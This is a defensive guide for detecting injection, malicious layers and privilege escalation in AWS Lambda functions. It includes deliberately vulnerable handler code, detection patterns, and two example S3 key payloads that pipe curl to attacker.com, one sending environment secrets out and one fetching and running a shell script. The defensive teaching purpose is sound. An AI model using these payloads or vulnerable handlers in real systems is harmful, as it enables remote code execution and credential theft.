Detecting Serverless Function Injection
When to Use
- Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (
eval,exec,child_process.exec,os.system) - Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
- Detecting privilege escalation paths where an adversary with
lambda:UpdateFunctionCodeandiam:PassRolecan assume higher-privilege execution roles - Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns
Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
Prerequisites
- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
- AWS CLI v2 configured with appropriate credentials and region
- CloudTrail enabled with Data Events for Lambda (captures
Invokeevents) and Management Events (capturesUpdateFunctionCode,UpdateFunctionConfiguration,CreateFunction) - Python 3.9+ with
boto3,bandit(Python SAST), andsemgrepfor static analysis - Access to function source code or deployment packages for static analysis
- CloudWatch Logs Insights access for querying Lambda execution logs
Workflow
Step 1: Enumerate the Serverless Attack Surface
Map all Lambda functions and their event source triggers to understand injection entry points:
- List all Lambda functions and their configurations:
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table - Map event source mappings: Each event source mapping is a potential injection entry point where untrusted data enters the function:
aws lambda list-event-source-mappings --output json | \ jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}' - Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table - Identify S3 event triggers: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:
aws s3api get-bucket-notification-configuration --bucket <bucket-name> - Catalog function environment variables: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:
aws lambda get-function-configuration --function-name <name> \ --query 'Environment.Variables' --output json - Identify overprivileged execution roles: Functions with
*resource permissions or administrative policies are high-value escalation targets:aws iam list-attached-role-policies --role-name <lambda-exec-role> aws iam list-role-policies --role-name <lambda-exec-role>
Step 2: Static Analysis for Injection Sinks
Scan function code for dangerous patterns that allow injected event data to execute as code or commands:
-
Download function deployment packages:
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip unzip function.zip -d function_code/ -
Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:
# DANGEROUS: Direct eval/exec of event data eval(event['expression']) # Code injection via eval exec(event['code']) # Arbitrary code execution os.system(event['command']) # OS command injection subprocess.call(event['cmd'], shell=True) # Shell injection os.popen(event['input']) # Command injection pickle.loads(event['data']) # Deserialization attack yaml.load(event['config']) # YAML deserialization (unsafe loader) -
Node.js injection sinks (Lambda Node.js runtimes):
// DANGEROUS: Direct execution of event data eval(event.expression); // Code injection new Function(event.code)(); // Dynamic function creation child_process.exec(event.command); // OS command injection child_process.execSync(event.cmd); // Synchronous command injection vm.runInNewContext(event.script); // Sandbox escape potential require('child_process').exec(event.input); // Import-and-execute pattern -
Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \ --config "p/python-security" function_code/ --json --output semgrep_results.json -
Run Bandit for Python functions:
bandit -r function_code/ -f json -o bandit_results.json \ -t B102,B301,B307,B602,B603,B604,B605,B606,B607These test IDs specifically target
exec,pickle,eval,subprocesswithshell=True, and other injection-relevant patterns. -
Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:
# Indirect injection: event data flows into SQL query string query = f"SELECT * FROM users WHERE id = '{event['userId']}'" cursor.execute(query) # SQL injection # Indirect injection: event data flows into template rendering template = event['template'] rendered = jinja2.Template(template).render() # SSTI
Step 3: Detect Event Source Poisoning
Analyze event sources for injection payloads that exploit how Lambda processes triggers:
-
S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:
# Vulnerable Lambda handler def handler(event, context): bucket = event['Records'][0]['s3']['bucket']['name'] key = event['Records'][0]['s3']['object']['key'] # VULNERABLE: key is attacker-controlled os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")Attack: Upload an object with key
; curl http://attacker.com/exfil?data=$(env)to inject a command through the S3 event. -
SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: message = json.loads(record['body']) # VULNERABLE: message content used in eval result = eval(message['formula']) -
API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:
# Vulnerable Lambda handler def handler(event, context): user_agent = event['headers']['User-Agent'] # VULNERABLE: header value used in shell command subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True) -
DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:
# Vulnerable Lambda handler def handler(event, context): for record in event['Records']: new_image = record['dynamodb']['NewImage'] config = new_image['config']['S'] # VULNERABLE: DynamoDB record value used in exec exec(config) -
Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:
fields @timestamp, @message | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/ | filter @message like /(?i)(error|exception|traceback|syntax)/ | sort @timestamp desc | limit 100
Step 4: Detect Malicious Lambda Layer Injection
Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
-
Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json -
Detect layer modification events in CloudTrail: Query for
UpdateFunctionConfigurationevents that add or change layers:aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \ --start-time "2026-03-12T00:00:00Z" \ --end-time "2026-03-19T23:59:59Z" \ --query 'Events[*].[EventTime,Username,CloudTrailEvent]'Parse the
CloudTrailEventJSON to check ifLayerswas modified in the request parameters. -
Analyze layer contents: Download and inspect layer packages for malicious code:
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \ --query 'Content.Location' --output text | xargs curl -o layer.zip unzip layer.zip -d layer_contents/ # Search for suspicious patterns grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/ -
Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:
- Python: Layer code in
/opt/python/is imported before the function's own modules - Node.js: Layer code in
/opt/nodejs/node_modules/overrides function dependencies - A layer providing a modified
boto3package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint
- Python: Layer code in
-
CloudTrail detection query for layer changes:
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"], "errorCode": [{"exists": false}] } }
Step 5: Detect IAM Privilege Escalation via Lambda
Identify escalation paths where attackers modify functions to assume higher-privilege roles:
-
The Lambda privilege escalation pattern: An attacker with
lambda:UpdateFunctionCodeandiam:PassRolepermissions can:- Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
- Modify the function's code to call
sts:GetCallerIdentityor perform privileged actions - Invoke the function, which executes with the high-privilege role
- Exfiltrate the role's temporary credentials from the function's environment variables (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN)
-
Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:
aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \ --start-time "2026-03-12T00:00:00Z" \ --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table -
Detect PassRole to Lambda:
iam:PassRoleis required to attach a different execution role to a function. Monitor for this:# CloudWatch Logs Insights on CloudTrail logs fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role | filter eventName = "UpdateFunctionConfiguration20150331v2" | filter ispresent(requestParameters.role) | sort eventTime desc -
Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:
fields eventTime, userIdentity.arn, eventName, sourceIPAddress | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/ | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy", "CreateAccessKey", "AssumeRole", "PutUserPolicy"] | sort eventTime desc -
EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:
{ "source": ["aws.lambda"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventName": [ "UpdateFunctionCode20150331v2", "UpdateFunctionConfiguration20150331v2", "CreateFunction20150331" ], "errorCode": [{"exists": false}] } }
Step 6: Implement Runtime Injection Prevention
Deploy runtime protection controls to prevent injection at execution time:
-
Input validation at handler entry: Validate and sanitize all event data before processing:
import re import json from functools import wraps SAFE_PATTERNS = { 'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'), 'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'), 'action': re.compile(r'^(get|list|create|update|delete)$'), } def validate_event(schema): """Decorator that validates Lambda event against a whitelist schema.""" def decorator(func): @wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value = event.get(field, '') if isinstance(value, str) and not pattern.match(value): return { 'statusCode': 400, 'body': json.dumps({'error': f'Invalid {field}'}) } return func(event, context) return wrapper return decorator @validate_event(SAFE_PATTERNS) def handler(event, context): # Event data is validated before reaching this point user_id = event['userId'] # Safe to use in queries with parameterized statements return {'statusCode': 200, 'body': json.dumps({'user': user_id})} -
Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:
aws lambda get-function-url-config --function-name <name> \ --query 'AuthType' --output text # Must return "AWS_IAM", not "NONE" -
Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "dynamodb:GetItem", "dynamodb:PutItem" ], "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable" }, { "Effect": "Allow", "Action": "logs:*", "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*" } ] } -
SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:
{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyLambdaCodeUpdateExceptCICD", "Effect": "Deny", "Action": [ "lambda:UpdateFunctionCode", "lambda:UpdateFunctionConfiguration" ], "Resource": "*", "Condition": { "StringNotLike": { "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole" } } } ] } -
AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:
from aws_lambda_powertools import Logger, Tracer from aws_lambda_powertools.utilities.validation import validate logger = Logger(service="payment-processor") tracer = Tracer() @logger.inject_lambda_context @tracer.capture_lambda_handler def handler(event, context): logger.info("Processing event", extra={ "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'), "user_agent": event.get('headers', {}).get('User-Agent'), "http_method": event.get('httpMethod'), })
Key Concepts
| Term | Definition | |------|------------| | Event Source Poisoning | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event | | Function Injection | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler | | Lambda Layer Hijacking | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path | | IAM Privilege Escalation via Lambda | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials | | OWASP Serverless Top 10 | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) | | Cold Start Injection | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context | | Execution Role | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |
Tools & Systems
- Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
- Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
- AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
- CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
- AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
- Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption
Common Scenarios
Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack
Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
Approach:
- Query CloudTrail for
UpdateFunctionCodeevents in the past 7 days to identify when the function was modified and by which principal:fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress | filter eventName = "UpdateFunctionCode20150331v2" | filter requestParameters.functionName = "payment-processor" | sort eventTime desc - Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
- Download the modified function code and find an injected snippet that POSTs
os.environ['AWS_ACCESS_KEY_ID'],AWS_SECRET_ACCESS_KEY, andAWS_SESSION_TOKENto an external endpoint on each invocation - Check if the attacker also added a malicious layer by querying for
UpdateFunctionConfigurationevents with layer changes - Verify the function's execution role permissions: the payment-processor role has
dynamodb:*,s3:GetObject,s3:PutObject, andsqs:SendMessageacross all resources, exceeding least privilege - Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding
sts:GetCallerIdentity,s3:ListBuckets,dynamodb:Scanon the customer table, andiam:CreateUserattempts - Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts
lambda:UpdateFunctionCodeto the CI/CD role only
Pitfalls:
- Only checking the function code and missing malicious layers that persist even after the function code is reverted
- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
- Restoring the function without first preserving the malicious code as forensic evidence
- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open
Output Format
## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions